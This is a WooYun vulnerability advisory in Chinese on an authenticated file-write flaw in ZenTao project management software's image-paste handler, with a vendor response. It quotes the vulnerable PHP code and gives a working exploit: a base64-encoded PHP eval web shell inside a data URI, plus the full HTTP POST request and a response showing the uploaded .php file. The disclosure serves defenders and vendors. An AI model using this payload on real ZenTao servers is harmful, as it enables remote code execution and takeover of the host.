当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151565

漏洞标题:禅道项目管理软件任意文件写入漏洞(需要登录)

相关厂商:禅道

漏洞作者: xiao.k

提交时间:2015-11-04 10:06

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

Finger 问我禅道老版本的问题,我就稍微看了下老版本的代码。很巧的是又发现了一个漏洞。

详细说明:

## 漏洞触发条件
需要登录
## 漏洞影响范围
开源版 7.3,专业版4.7.1 以及之前版本
## 漏洞代码分析
关键代码在`\module\file\model.php`,252-276行。

/**
* Paste image in kindeditor at firefox and chrome.
*
* @param string $data
* @access public
* @return string
*/
public function pasteImage($data)
{
$data = str_replace('\"', '"', $data);
ini_set('pcre.backtrack_limit', strlen($data));
preg_match_all('/<img src="(data:image\/(\S+);base64,(\S+))".*\/>/U', $data, $out);
foreach($out[3] as $key => $base64Image)
{
$imageData = base64_decode($base64Image); //解密文加内容
$file['extension'] = $out[2][$key]; //文件后置
$file['pathname'] = $this->setPathName($key, $file['extension']); //文件名
$file['size'] = strlen($imageData);
$file['addedBy'] = $this->app->user->account;
$file['addedDate'] = helper::today();
$file['title'] = basename($file['pathname']);
file_put_contents($this->savePath . $file['pathname'], $imageData); //写入数据
$this->dao->insert(TABLE_FILE)->data($file)->exec();
$data = str_replace($out[1][$key], $this->webPath . $file['pathname'], $data);
}
return $data;
}


程序会提取data中的内容,经过base64_decode然后写入到文件中。文件的后缀来自image/后分号之前的内容。我们的data内容构造如下:

<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg=="      />


PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg== 实际内容为 <?php eval($_POST[tmd])?>。为了满足正则表达式,引号之后要多加几个空格。
完整的数据包如下:

POST /official/ZenTaoPMS.Pro4.7.1/zentaopms/www/file-ajaxPasteImage.html HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
DNT: 1
Referer: http://**.**.**.**/official/ZenTaoPMS.5.3.stable/zentaopms/www/my/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: sid=u678s5mfdlk02hh35o3lldmpf1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded

editor=<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg==" />


返回

HTTP/1.1 200 OK
Date: Tue, 03 Nov 2015 10:38:08 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Set-Cookie: lang=zh-cn; expires=Thu, 03-Dec-2015 10:38:08 GMT; Max-Age=2592000; path=/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/
Set-Cookie: theme=default; expires=Thu, 03-Dec-2015 10:38:08 GMT; Max-Age=2592000; path=/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 103
Content-Type: text/html; Language=UTF-8;charset=UTF-8
<img src="/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/data/upload/1/201511/0318380808104ldm.php" />

漏洞证明:

shell.JPG

修复方案:

写的时候,检验下文件的后缀。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 11:15

厂商回复:

谢谢反馈。
这个问题和之前另外一个白帽子的是一个问题。近期会发布一个版本解决下。
其实禅道都是内部使用的,还有之前很多黑帽子说的我们可以直接创建php文件的问题,那其实都是禅道自身的功能。
安全和使用方便还是要做一个平衡吧。

最新状态:

暂无